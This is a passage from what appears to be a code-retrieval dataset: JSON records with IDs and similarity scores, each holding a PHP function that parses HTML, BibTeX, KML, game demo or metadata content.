By\\:\\s*<\\/b>\\s+<a(?:.+)href=\\\"([^\\\"]+)\\\"(?:.*)>(.+?)<\\/a>(?:.*)$#si\", $content, $match, PREG_OFFSET_CAPTURE)) {\n\t\t\t\t\t\t$cleaned_content = substr($content, 0, $match[0][1]);\n\t\t\t\t\t\t$author = trim($match[2][0]);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cleaned_content = implode(PHP_EOL . PHP_EOL, preg_split(\"#<\\/p>\\s*<p>#si\", $cleaned_content));\n\t\t\t\t\t\t$cleaned_content = preg_replace(\"#^\\s*<p>\\s*#si\", \"\", $cleaned_content);\n\t\t\t\t\t\t$cleaned_content = preg_replace(\"#\\s*<\\/p>\\s*$#si\", \"\", $cleaned_content);\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn array(\n\t\t\t\t\t\t\t'type'\t\t=> \"essay\",\n\t\t\t\t\t\t\t'content'\t=> $cleaned_content,\n\t\t\t\t\t\t\t'author'\t=> $author\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn array(\n\t\t\t\t\t\t'type'\t\t=> \"essay\",\n\t\t\t\t\t\t'content'\t=> $content\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tif(preg_match(\"#<table(?:.*?)>(.+?)<\\/table>#si\", $content, $match)) {\n\t\t\t\tif(preg_match_all(\"#<tr>(.+?)<\\/tr>#si\", $match[1], $matches)) {\n\t\t\t\t\t$rows = array();\n\t\t\t\t\t\n\t\t\t\t\tforeach(array_keys($matches[0]) as $row_key) {\n\t\t\t\t\t\tif(preg_match_all(\"#<td(?:[^>]*?)>(.+?)<\\/td>#si\", $matches[1][$row_key], $column_matches)) {\n\t\t\t\t\t\t\t$rows[] = array_map(\"trim\", $column_matches[1]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($rows)) {\n\t\t\t\t\t\tif($key == \"salary\") {\n\t\t\t\t\t\t\tforeach($rows as $row_key => $row_value) {\n\t\t\t\t\t\t\t\t$job = $row_value[0];\n\t\t\t\t\t\t\t\t$amount = $row_value[1];\n\t\t\t\t\t\t\t\t$notes = \"\";\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif(preg_match(\"#\\\\$([0-9,\\.]+)\\s*(.*)$#si\", $amount, $match)) {\n\t\t\t\t\t\t\t\t\t$amount = \"$\". trim($match[1], \" ,$.\");\n\t\t\t\t\t\t\t\t\t$notes = trim($match[2], \" +().\");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$rows[ $row_key ] = array(\n\t\t\t\t\t\t\t\t\t'job'\t\t=> $job,\n\t\t\t\t\t\t\t\t\t'amount'\t=> $amount,\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif(strlen($notes) > 0) {\n\t\t\t\t\t\t\t\t\t$rows[ $row_key ]['notes'] = $notes;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn array(\"type\" => \"table\", \"rows\" => $rows);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// errors in parsing data above = return content\n\t\t\treturn $content;\n\t\t}", "title": "" }, { "docid": "6e4930b6345791edb982151241b529ba", "score": "0.57417536", "text": "private function parse_view_data( string $file_content ) : string {\n\t\t\n\t\t// some data processing\n\t\t\n\t\t$string = $file_content;\n\t\t\n\t\treturn $string;\n\t}", "title": "" }, { "docid": "d64e86dade3b86a5fcee17fa7160ee72", "score": "0.57334375", "text": "protected function processContent($content){\n return $content;\n }", "title": "" }, { "docid": "c9d8ca1a8e312116603eb9836c718ece", "score": "0.5705871", "text": "private function _parseData()\n {\n $types = array( \"NetworkLink\",\"Link\", \"Style\", \"StyleMap\", \"Placemark\"); \n \n foreach($types as $type): \n \n $nodes = $this->doc->getElementsByTagName($type); //getElementsByTagNameNS ?\n \n if($nodes->length == 0 ) continue; // skip to next iteration\n// Util::log($nodes->item(0)->nodeName, 'TYPE'); \n switch(strtolower($type)): \n // Fetch external links \n case \"link\":\n case \"networklink\": \n $this->_parseLinks($nodes, $options);\n break;\n// \n // parse style information\n case \"style\":\n if($this->extractStyles == true) \n {\n $this->_parseStyles($nodes, $options);\n }\n break;\n// \n// case \"stylemap\":\n// if(isset($this->_extractStyles)) {\n// $this->_parseStyleMaps($nodes, $options);\n// }\n// break;\n \n // parse features\n case \"placemark\":\n $this->_parseFeatures($nodes, $options);\n break;\n \n endswitch;\n \n endforeach;\n \n return $this->features;\n }", "title": "" }, { "docid": "920bde5327e2b616eaebc01335e15dfa", "score": "0.5703396", "text": "protected function parseData(): Shom {\n $parsedData = new stdClass;\n $separator = \"\";\n\n if ($this->lang === static::LANG_FR) {\n $separator = \"# date;profondeur;valeur;source_id;\";\n }\n\n [ $head, $data ] = explode($separator, $this->data);\n\n $regularExpression = \"/?/\";\n\n if ($this->lang === static::LANG_FR) {\n /**\n * @todo preg match here\n */\n }\n\n return $this;\n }", "title": "" }, { "docid": "943e1b63d400d9664c5819d5b1e00927", "score": "0.56787455", "text": "public function getContentData(){\n\t\treturn $this->content->getData();\n\t}", "title": "" }, { "docid": "b49af6bda7ac74698eb4ddd3384f7cdf", "score": "0.5651468", "text": "public function testExtractData()\n {\n $data = Crawler::extracting('https://example.com', '//html/body/div/h1');\n\n $this->assertContains('Example Domain', $data->text());\n }", "title": "" }, { "docid": "4fb0a9286029faa62b0592d75df5db39", "score": "0.5632739", "text": "protected function _abstractData( $content )\r\n {\r\n switch($this->_version)\r\n {\r\n case 9:\r\n case 10:\r\n $this->_abstractData = array(\r\n \"mapname\" => \"\",\r\n \"races\" => array(),\r\n \"nicknames\" => array(),\r\n );\r\n \r\n if( preg_match( \"/cs 0 \\\"(.*?)\\\"/\", $content, $data ) )\r\n {\r\n $this->_abstractData['mapname'] = $data[1];\r\n }\r\n \r\n if( preg_match_all( \"/cp \\\"Race finished\\: (\\d{2})\\:(\\d{2})\\.(\\d{3})/\", $content, $data ) )\r\n {\r\n foreach($data[0] as $key => $null)\r\n {\r\n $this->_abstractData['races'][$key] = array(\r\n \"min\" => $data[1][$key],\r\n \"sec\" => $data[2][$key],\r\n \"milli\" => $data[3][$key], \r\n );\r\n }\r\n }\r\n \r\n if( preg_match_all( \"/cs \\d+ \\\"\\\\\\\\name\\\\\\\\(.*?)\\\\\\\\hand\\\\\\\\(\\d+)\\\\\\\\mt\\\\\\\\(\\d+)\\\\\\\\color\\\\\\\\(\\d+) (\\d+) (\\d+)\\\"/\", $content, $data ) )\r\n {\r\n foreach($data[0] as $key => $null)\r\n {\r\n $this->_abstractData['nicknames'][$key] = array(\r\n \"name\" => $data[1][$key],\r\n \"simplified\" => preg_replace(\"/(?<!\\^)\\^[^^]/\", \"\", $data[1][$key]),\r\n \"hand\" => $data[2][$key],\r\n \"mt\" => $data[3][$key],\r\n \"color\" => array( $data[4][$key], $data[5][$key], $data[6][$key]),\r\n );\r\n }\r\n }\r\n break;\r\n \r\n default:\r\n require_once 'Racenet/File/Wdx/Exception.php';\r\n throw new Racenet_File_Wdx_Exception('Version '. $this->_version .' is not implemented');\r\n }\r\n }", "title": "" }, { "docid": "371c99236dd8086e2df6c6023d254a16", "score": "0.5624872", "text": "public static function extractLinksData($content) {\n\t\tpreg_match_all('/<link ([^>]+)>(.+?)<\\/link>/', $content , $matches);\n\t\treturn array(array_pop($matches), array_pop($matches)); // return $titles, $links\n\t}", "title": "" }, { "docid": "058084556bd82c7332b2279c91618b8b", "score": "0.56089604", "text": "function extract_metadata($raw_content, &$metadata) {\n $metadata = [];\n if (!preg_match(\"/^---\\s*\\n/\", $raw_content)) {\n return $raw_content;\n }\n $raw_content = substr($raw_content, strpos($raw_content, \"\\n\") + 1);\n\n while (strlen($raw_content) > 1) {\n $metadata_line = substr($raw_content, 0, strpos($raw_content, \"\\n\"));\n if (preg_match(\"/^---\\s*/\", $metadata_line)) {\n $raw_content = substr($raw_content, strpos($raw_content, \"\\n\") + 1);\n break;\n }\n preg_match(\"/^([^:]+):\\s?([^\\n]+)/\", $metadata_line, $matches);\n $metadata[$matches[1]] = $matches[2];\n $raw_content = substr($raw_content, strpos($raw_content, \"\\n\") + 1);\n }\n\n return $raw_content;\n}", "title": "" }, { "docid": "2e405409c6d20132023dde42b60c9ef4", "score": "0.5598975", "text": "abstract protected function parse();", "title": "" }, { "docid": "5f5b9643c67c73aefb3184520c53ff81", "score": "0.55978876", "text": "private function parse()\n\t\t{\n\t\t\t// Prepare to store the matches we want to keep.\n\t\t\t$matches = array();\n\n\t\t\t// Grab the section headers.\n\t\t\tpreg_match_all('/--([A-Z_]+)--/Usx', $this->text, $m);\n\n\t\t\t// Loop through the section headers, in order.\n\t\t\tfor ($i = 0, $max = count($m[0]); $i < $max; $i++)\n\t\t\t{\n\t\t\t\t// Use the current and next section headers to determine the content of each section.\n\t\t\t\tpreg_match('/' . $m[0][$i] . '(.*)' . (isset($m[0][$i + 1]) ? $m[0][$i + 1] : '$') . '/Usx', $this->text, $sm);\n\n\t\t\t\t// Store matches as key-value pairs.\n\t\t\t\t$matches[$m[1][$i]] = trim($sm[1]);\n\t\t\t}\n\n\t\t\t// Make it available to the rest of the class.\n\t\t\t$this->matches = $matches;\n\t\t}", "title": "" }, { "docid": "2bcbc4dc66710b69506b522ea9c3717a", "score": "0.5560317", "text": "public function getParse() {\n\n // Parse page data from html\n $news = $this->htmlParse();\n\n // Get title,content,data data\n $titleRaw = $this->getTitle($news);\n $contentRaw = $this->getContent($news);\n $dateRaw = $this->getDate($news);\n\n // Parse\n $title = $this->formatTitle($titleRaw);\n $content = $this->formatContent($contentRaw);\n $date = $this->formatDate($dateRaw);\n\n // Create a result array from the data and return it\n $result = array(\n 'title' => $title,\n 'content' => $content,\n 'date' => $date\n );\n return $result;\n\n }", "title": "" }, { "docid": "2e4ed1ae7b450ab0e96f363054fbc36a", "score": "0.5553256", "text": "private function get_import_content() {\n\t\n\t\n\t\n\t}", "title": "" }, { "docid": "d3d7db55f3e5e26921429c82b27a6383", "score": "0.55409735", "text": "public function get_content();", "title": "" }, { "docid": "79c1bd3cd7f61f24e58fb96ee7aab083", "score": "0.5529313", "text": "public function getData()\n {\n return $this->text;\n }", "title": "" }, { "docid": "7683eab4cef40759eb53a0d2b97164b6", "score": "0.552621", "text": "private function parse_part($content)\n {\n // extract the rows and clear most whitespace\n // contents will always be inside |..| because of the table in the document\n if (!preg_match_all(\"/^(\\s+|\\\\|\\s+)\\\\|(.+?)\\s+\\\\|/mu\", $content, $matches)) {\n return \"\";\n }\n\n $res = array();\n foreach ($matches[2] as $row) {\n $row = trim($row);\n if ($row == \"\") {\n continue;\n }\n\n // if everything is uppercase, make only first char uppercase\n if (mb_strtoupper($row) == $row) {\n $row = mb_substr($row, 0, 1).mb_strtolower(mb_substr($row, 1));\n }\n\n $res[] = $row;\n }\n\n return $res;\n }", "title": "" }, { "docid": "508094b2946054fb5bd8c38504d5525b", "score": "0.55254066", "text": "abstract public function parse();", "title": "" }, { "docid": "7fe23e8482cc76ccf9e48fb0a5dfbf2e", "score": "0.55198944", "text": "function dcl_content($content) {\n return dcl_process($content);\n}", "title": "" }, { "docid": "d65a6c49651ace884e5c3609b2080118", "score": "0.550737", "text": "public function processData()\n {\n $url = $this->getFeedUrl();\n $feedContents = $this->getContents($url);\n \n return $parser->setContents($feedData)\n ->process();\n }", "title": "" }, { "docid": "a9cc2b0afbe84a0641fffbe129c4be83", "score": "0.5507096", "text": "abstract function parse();", "title": "" }, { "docid": "a9cc2b0afbe84a0641fffbe129c4be83", "score": "0.5507096", "text": "abstract function parse();", "title": "" }, { "docid": "aa360226e3276097bae243619f094b5a", "score": "0.5484626", "text": "public function parse($text)\n {\n $data = array(\n 'meta' => array(),\n 'content' => ''\n );\n\n if (!is_string($text) || !$this->hasDocBlock($text)) {\n $data['content'] = $text;\n } else {\n $split = $this->extractDocBlock($text);\n $data['meta'] = $this->getAnnotations($split['meta']);\n $data['meta']['description'] = $this->getDescription($split['meta']);\n $data['content'] = $split['content'];\n }\n\n\n return $data;\n }", "title": "" }, { "docid": "006d30eda18187860d6ff2c0875f1625", "score": "0.54822284", "text": "public function extract_vars($content) {\n\t\tif(strpos($content,'{') === false) return false;\n\n\t\t// parse out the variables\n\t\tpreg_match_all(\n\t\t\t\"/{([\\w:;|.\\,\\(\\)\\/\\-\\%& \\[\\]\\?'=]+?)}/\", //regex\n\t\t\t$content, // source\n\t\t\t$matches_vars, // variable to export results to\n\t\t\tPREG_SET_ORDER // settings\n\t\t);\n\t\t\n\t\tforeach((array)$matches_vars as $var) {\n\t\t\t$vars[] = $var[1];\n\t\t}\n\t\t\n\t\treturn $vars;\n\t}", "title": "" }, { "docid": "39b457ad7b9b5243394d97d27e8dbe1d", "score": "0.5466175", "text": "public function parse() {}", "title": "" }, { "docid": "e8a28d8afa73124b0df7d662c9537729", "score": "0.5456794", "text": "function uc_omnikassa_extractdata($data) {\n $arr = array();\n\n foreach (explode('|', $data) as $d) {\n $d = explode('=', $d, 2);\n $arr[$d[0]] = $d[1];\n }\n\n return $arr;\n}", "title": "" }, { "docid": "7ff0725d4689791d5469f88a474edd28", "score": "0.5438413", "text": "private function parse()\n {\n $html = file_get_contents($this->file->tempName);\n $DOM = new \\DOMDocument();\n @$DOM->loadHTML($html);\n $rows = $DOM->getElementsByTagName('tr');\n foreach ($rows as $row) {\n $index = 0;\n $rowData = [];\n $cells = $row->getElementsByTagName('td');\n foreach ($cells as $cell) {\n $rowData[$index] = $cell->nodeValue;\n $index++;\n }\n if (is_numeric($rowData[0])) {\n $value = str_replace(' ', '', $rowData[count($rowData) - 1]);\n $this->data[$rowData[0]] = $value;\n }\n }\n }", "title": "" }, { "docid": "0fceb40a9dfe67ce4e7a654e632c4ecf", "score": "0.54218316", "text": "abstract protected function _content();", "title": "" }, { "docid": "a2e895d06693e62d41490cee605f5465", "score": "0.5395874", "text": "public function getData() {\n\t\tif( $this->getContent() && !$this->_data ) {\n $this->_data = $this->_content['data'];\n }\n return $this->_data;\n\t}", "title": "" }, { "docid": "fa92511ce359c96080b8e33268d78b95", "score": "0.53853637", "text": "private function extract_vars($content, $special = false) {\n\t\tpreg_match_all(\n\t\t\t$special ? \"/{(\\%[\\w:|.\\,\\(\\)\\[\\]\\/\\-\\% ]+?)}/\" : \"/{([\\w:|.\\,\\(\\)\\/\\-\\% \\[\\]\\?'=]+?)}/\", //regex\n\t\t\t$content, // source\n\t\t\t$matches_vars, // variable to export results to\n\t\t\tPREG_SET_ORDER // settings\n\t\t);\n\t\t\n\t\tforeach((array)$matches_vars as $var) {\n\t\t\t$vars[] = $var[1];\n\t\t}\n\t\t\n\t\treturn $vars;\n\t}", "title": "" }, { "docid": "d76b84370f8343430bb7d26735aa6596", "score": "0.538511", "text": "function ExtractWebsiteMainContent($content)\n{\n\t$retval = \"\";\n\ttry\n\t{\n\t\t$doc = new DOMDocument();\n\t\t$doc->loadHTML($content);\n\t\t$pageContainer = $doc->getElementById('pageContainer');\n\t\t$divs = $pageContainer->getElementsByTagName('div');\n\t\tforeach($divs as $node)\n\t\t{\n\t\t\t$nodeClass = $node->getAttribute(\"class\");\n\t\t\tif (stripos($nodeClass,\"storyCopy\")!==false)\n\t\t\t{\n\t\t\t\t$retval = $node->C14N();\n\t\t\t}\n\t\t}\n\t}\n catch (Exception $e)\n\t{\n\t\tManageException($e, \"Unable to extract website main content \");\n\t\tthrow $e;\n\t}\n\treturn $retval;\n}", "title": "" }, { "docid": "c40446252ee9fc6c4a5931967c81050f", "score": "0.53832215", "text": "abstract function prepareContent();", "title": "" }, { "docid": "7faaa7af16a6ae32224e93cb9ecba2bb", "score": "0.53792703", "text": "public function getData() {\n return $this->parsed;\n }", "title": "" }, { "docid": "97d9a361ed817ccc48dc1b35533e34ad", "score": "0.53788763", "text": "private function extractHtmlAttr($content)\n {\n $attributes = array();\n $matches = array();\n preg_match_all('/([a-zA-Z0-9\\_\\-]+)\\=[\\'\"](.*?)[\\'\"]/s', $content, $matches);\n if (isset($matches[1])) {\n foreach ($matches[1] as $index => $key) {\n $attributes[$key] = $matches[2][$index];\n }\n }\n return $attributes;\n }", "title": "" }, { "docid": "a458a18a16e6ad52c0531a0bd38beee3", "score": "0.53698343", "text": "private function parseEmoticon($content){\n\t\t \n\t\t //your coding process will be go here...\n\t }", "title": "" }, { "docid": "d2b3b4c6c0dd833979361f0e4b253884", "score": "0.53678805", "text": "public function readContent()\n {\n }", "title": "" }, { "docid": "be6f4f1a5f7242698ab905cb18b2b4a1", "score": "0.5366931", "text": "function parse() {\n $value = array();\n $var = array();\n $this->count = -1;\n $lineindex = 0;\n $fieldcount = -1;\n if( $this->filename )\n $lines = file($this->filename);\n else\n $lines = preg_split( '/\\n/', $this->inputdata );\n \n if (!$lines)\n return;\n \n foreach($lines as $line) {\n $lineindex++;\n if ($this->count > -1) {\n $this->items['lineend'][$this->count] = $lineindex;\n }\n $line = trim($line);\n $raw_line = $line + '\\n';\n $line=str_replace(\"'\",\"`\",$line);\n $seg=str_replace(\"\\\"\",\"`\",$line);\n $ps=strpos($seg,'=');\n $segtest=strtolower($seg);\n \n // some funny comment string\n if (strpos($segtest,'@string')!==false)\n continue;\n \n // pybliographer comments\n if (strpos($segtest,'@comment')!==false)\n continue;\n \n // normal TeX style comment\n if (strpos($seg,'%%')!==false)\n continue;\n \n /* ok when there is nothing to see, skip it! */\n if (!strlen($seg))\n continue;\n \n if (\"@\" == $seg[0]) {\n $this->count++;\n $this->items['raw'][$this->count] = $line . \"\\r\\n\";\n \n $ps=strpos($seg,'@');\n $pe=strpos($seg,'{');\n $this->types[$this->count]=trim(substr($seg, 1,$pe-1));\n $fieldcount=-1;\n $this->items['linebegin'][$this->count] = $lineindex;\n } // #of item increase\n elseif ($ps!==false ) { // one field begins\n $this->items['raw'][$this->count] .= $line . \"\\r\\n\";\n $ps=strpos($seg,'=');\n $fieldcount++;\n $var[$fieldcount]=strtolower(trim(substr($seg,0,$ps)));\n \n if ($var[$fieldcount]=='pages') {\n $ps=strpos($seg,'=');\n $pm=strpos($seg,'--');\n $pe=strpos($seg,'},');\n $pagefrom[$this->count] = substr($seg,$ps,$pm-$ps);\n $pageto[$this->count]=substr($seg,$pm,$pe-$pm);\n $bp=str_replace('=','',$pagefrom[$this->count]); $bp=str_replace('{','',$bp);$bp=str_replace('}','',$bp);$bp=trim(str_replace('-','',$bp));\n $ep=str_replace('=','',$pageto[$this->count]); $bp=str_replace('{','',$bp);$bp=str_replace('}','',$bp);;$ep=trim(str_replace('-','',$ep));\n }\n $pe=strpos($seg,'},');\n \n if ($pe===false)\n $value[$fieldcount]=strstr($seg,'=');\n else\n $value[$fieldcount]=substr($seg,$ps,$pe);\n } else {\n if ($this->count > -1 ) {\n $this->items['raw'][$this->count] .= $line . \"\\r\\n\";\n $pe=strpos($seg,'},');\n }\n \n if ($fieldcount > -1) {\n if ($pe===false)\n $value[$fieldcount].=' '.strstr($seg,' ');\n else\n $value[$fieldcount] .=' '.substr($seg,$ps,$pe);\n }\n }\n \n if ($fieldcount > -1) {\n $v = $value[$fieldcount];\n $v=str_replace('=','',$v);\n $v=str_replace('{','',$v);\n $v=str_replace('}','',$v);\n if ($var[$fieldcount]=='projects') \n $v=str_replace(',',' ',$v);\n else\n $v=$this->str_last_replace(',',' ',$v);\n $v=str_replace('\\'',' ',$v);\n $v=str_replace('\\\"',' ',$v);\n // test!\n $v=str_replace('`',' \\'',$v);\n $v=trim($v);\n $this->items[\"$var[$fieldcount]\"][$this->count]=\"$v\";\n }\n }\n }", "title": "" }, { "docid": "6e0c0886124652812496f070c5056f0e", "score": "0.53636205", "text": "function parse($data)\r\n {\r\n return $data;\r\n }", "title": "" }, { "docid": "bff7f8036efbbcb21b4f2691a32a9ba7", "score": "0.5352869", "text": "function getParsedData() {\n $this->setDefaultData();\n $result = '';\n $permission = TRUE;\n if ($this->data['perm'] > 0) {\n $surfer = $this->papaya()->surfer;\n if (!$surfer->hasPerm($this->data['perm'])) {\n $permission = FALSE;\n }\n }\n if ($permission) {\n include_once(PAPAYA_INCLUDE_PATH.'system/base_topiclist.php');\n $topicList = new base_topiclist;\n $topicList->databaseURI = $this->parentObj->databaseURI;\n $topicList->databaseURIWrite = $this->parentObj->databaseURIWrite;\n $topicList->tableTopics = $this->parentObj->tableTopics;\n $topicList->tableTopicsTrans = $this->parentObj->tableTopicsTrans;\n $topicClass = get_class($this->parentObj);\n $topicList->loadList(\n (int)$this->data['page'],\n (int)$this->parentObj->getContentLanguageId(),\n is_a($this->parentObj, 'papaya_publictopic'),\n (int)$this->data['sort'],\n (int)$this->data['count']\n );\n $subTopicString = papaya_strings::entityToXML(\n $topicList->getList($topicClass, (int)$this->data['count'])\n );\n $result .= $subTopicString;\n //get all subtopic images and generate/append papaya tags for thumbnails\n if (trim($subTopicString) != '') {\n $dom = new PapayaXmlDocument();\n $dom->loadXml($subTopicString);\n $thumbnails = new PapayaUiContentTeaserImages(\n $dom->documentElement,\n (int)$this->data['thumbwidth'],\n (int)$this->data['thumbheight'],\n $this->data['resizemode']\n );\n $result .= $thumbnails->getXml();\n }\n $result = sprintf(\n '<categteaserthumb topic=\"%d\" columns=\"%d\" balance-mode=\"%s\">%s</categteaserthumb>',\n (int)$this->parentObj->topicId,\n (int)$this->data['columns'],\n PapayaUtilstringXml::escapeAttribute($this->data['balance_mode']),\n $result\n );\n }\n return $result;\n }", "title": "" }, { "docid": "483d261e6081f143e615fad3f97c8d9c", "score": "0.5348325", "text": "public abstract function parse($text);", "title": "" }, { "docid": "dd69e318e1eb956d0af5202e20ad78b7", "score": "0.53476787", "text": "abstract protected function specific_process_data($data);", "title": "" }, { "docid": "d3d2acceb53d4f7a8fa7197c39ca5ccf", "score": "0.5319851", "text": "public function content()\n {\n return json_decode($this->rawContent);\n }", "title": "" }, { "docid": "b47a674077f7440ee7b710fea391a693", "score": "0.53113097", "text": "public function extract()\n {\n $twitter = [];\n\n /* @var $meta \\DOMElement */\n foreach ($this->dom->filter('meta') as $meta) {\n if (false === $meta->hasAttribute('name') || 'twitter:' !== substr($meta->getAttribute('name'), 0, 8)) {\n continue;\n }\n\n if (true === $meta->hasAttribute('content')) {\n $content = $this->decode($meta->getAttribute('content'));\n $name = $meta->getAttribute('name');\n\n if (false === isset($twitter[$name])) {\n $twitter[$name] = $content;\n } elseif (false === is_array($twitter[$name])) {\n $twitter[$name] = [$twitter[$name], $content];\n } else {\n $twitter[$name][] = $content;\n }\n }\n }\n\n return $twitter;\n }", "title": "" }, { "docid": "9e3772e82b6246213405a4d79006197d", "score": "0.5305959", "text": "public static function parse() {\n\n /** parse each tag and matching content, store tags for later cleanup * */\n $loop = 0;\n foreach (self::$_tags_key as $v) {\n self::$_body = str_replace($v, self::$_tags_value[$loop] . $v, self::$_body);\n $loop++;\n }\n\n /** init tag stacks so we dont enter dup content * */\n self::$_tags_key = array();\n self::$_tags_value = array();\n }", "title": "" }, { "docid": "1420ef9833265d8ced9f79fefbc4fca3", "score": "0.529858", "text": "public function getData() {\n\n $scraper = new Scraper($this->data_url);\n return $scraper->scrape()->match('/(TARGET LIST.*?)Visit/s');\n\n }", "title": "" }, { "docid": "17c43fb0a4b4ab8e00e89c40f66d7a9a", "score": "0.52936655", "text": "abstract public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "69c78cb1a39e5a0af6022d9446204101", "score": "0.52930564", "text": "public function getContent();", "title": "" }, { "docid": "14e22c72d7cf32a492053e9230d4d303", "score": "0.5273683", "text": "protected function parse() {\n if ($this->method == 'POST') {\n $concepts = array();\n $attributes = array();\n $include = array();\n if(isset($this->request['concepts'])) $concepts = $this->request['concepts'];\n if(isset($this->request['attributes'])) $attributes = $this->request['attributes'];\n if(isset($this->request['include'])) $include = $this->request['include'];\n\n if(isset($this->request['fileId']))\n {\n $text = $_SESSION['files'][$this->request['fileId']]['contents'];\n }\n else $text = $this->request['text'];\n\n $parser = new Parser($text, false, $concepts, $attributes, $include);\n\n return $parser->toArray();\n } else {\n return array('error' => 'Only accepts POST requests');\n }\n }", "title": "" }, { "docid": "bb1d92c1c6a56f720386f0bc9fc883f8", "score": "0.5269948", "text": "function parse_CIM_response2($content)\n\t\t{\n\t\t\t$refId = $this->substring_between($content, '<refId>','</refId>');\n\t\t\t$resultCode = $this->substring_between($content, '<resultCode>','</resultCode>');\n\t\t\t$code = $this->substring_between($content,'<code>','</code>');\n\t\t\t$text = $this->substring_between($content,'<text>','</text>');\n\t\t\t$CIM_profile_id = $this->substring_between($content,'<customerProfileId>','</customerProfileId>');\n\t\t\t//$payment_profile_ids_list = $this->substring_between($content,'<customerPaymentProfileIdList>','</customerPaymentProfileIdList>');\n\t\t\t//$shipping_profiles_ids_list = $this->substring_between($content,'<customerShippingAddressIdList>','</customerShippingAddressIdList>');\n\t\t\t$payment_profile_id = $this->substring_between($content,'<customerPaymentProfileIdList><numericString>','</numericString></customerPaymentProfileIdList>');\n\t\t\t$shipping_profile_id = $this->substring_between($content,'<customerShippingAddressIdList><numericString>','</numericString></customerShippingAddressIdList>');\n\t\t\t$CIM_direct_response = $this->substring_between($content,'<directResponse>','</directResponse>');\n\t\t\t//$payment_profile_id = $this->substring_between($content,'<customerPaymentProfileId>','</customerPaymentProfileId>');\n\t\t\t//$shipping_profile_id = $this->substring_between($content,'<customerAddressId>','</customerAddressId>');\n\t\t\treturn array ($refId, $resultCode, $code, $text, $CIM_profile_id, $payment_profile_id, $shipping_profile_id, $CIM_direct_response);\n\t\t}", "title": "" }, { "docid": "2aad87d611dbaa9be8d5b50df2edc4ce", "score": "0.5256957", "text": "private function parse_content($content) {\n\n\t\t$installed = false;\n\t\t$gtm_installed = false;\n\t\t$tracking_id = '';\n\t\t$script_file_found = false;\n\t\t$tracking_id_found = false;\n\n\t\t// Pull google analytics script file(s)\n\t\tpreg_match_all('/<script\\b[^>]*>([\\s\\S]*?)<\\/script>/i', $content, $scripts);\n\t\tfor ($i=0; $i < count($scripts[0]); $i++) {\n\t\t\t// Check for Google Analytics file\n\t\t\tif (stristr($scripts[0][$i], 'ga.js') || stristr($scripts[0][$i], 'analytics.js')) {\n\t\t\t\t$script_file_found = true;\n\t\t\t}\n\t\t\t\n\t\t\t// Check for Google Tag Manager file\n\t\t\t// N.B. We are not checking for GTM but this check will be useful when\n\t\t\t// showing the notice to the user if we haven't found Google Analytics\n\t\t\t// directly being installed on the page.\n\t\t\tif (stristr($scripts[0][$i], 'gtm.js')) {\n\t\t\t\t$gtm_installed = true;\n\t\t\t}\n\t\t}\n\n\t\t// Pull tracking code\n\t\tpreg_match_all('/UA-[0-9]{5,}-[0-9]{1,}/i', $content, $codes);\n\t\tif (count($codes) > 0) {\n\t\t\tif (!empty($codes[0])) {\n\t\t\t\t$tracking_id_found = true;\n\t\t\t\t$tracking_id = $codes[0][0];\n\t\t\t}\n\t\t}\n\n\t\t// If we found both the script and the tracking code then it is safe\n\t\t// to say that Google Analytics (GA) is installed. Thus, we're returning\n\t\t// \"true\" as a response.\n\t\tif ($script_file_found && $tracking_id_found) {\n\t\t\t$installed = true;\n\t\t}\n\n\t\t// Return result of process.\n\t\treturn array(\n\t\t\t'installed' => $installed,\n\t\t\t'gtm_installed' => $gtm_installed,\n\t\t\t'tracking_id' => $tracking_id\n\t\t);\n\t}", "title": "" }, { "docid": "c04b4efc6461594925a6a6fd3e7f2519", "score": "0.52358407", "text": "public abstract function get_data();", "title": "" }, { "docid": "93d6a9e73bf137e0948772edbfb7f1ae", "score": "0.5232681", "text": "public function parseMainInfo () {\n $stats = Array();\n $this->htmlQuery = $this->htmlXPath->query('//td');\n \n $stats['model'] = substr(htmlspecialchars($this->htmlQuery->item(2)->nodeValue), 42, 10);\n $stats['firmware'] = $this->htmlQuery->item(22)->nodeValue;\n $stats['uptime'] = $this->htmlQuery->item(25)->nodeValue;\n $stats['usRate'] = $this->htmlQuery->item(33)->nodeValue;\n $stats['dsRate'] = $this->htmlQuery->item(35)->nodeValue;\n \n return $stats;\n }", "title": "" }, { "docid": "bdbb6524adc93d3b7eb20ced3adb222a", "score": "0.52308536", "text": "function parseContext($data) {\r\n global $context, $debug;\r\n $found= 0;\r\n $properties= array(\"preprocess\", \"postprocess\", \"channel\", \"image\", \"item\", 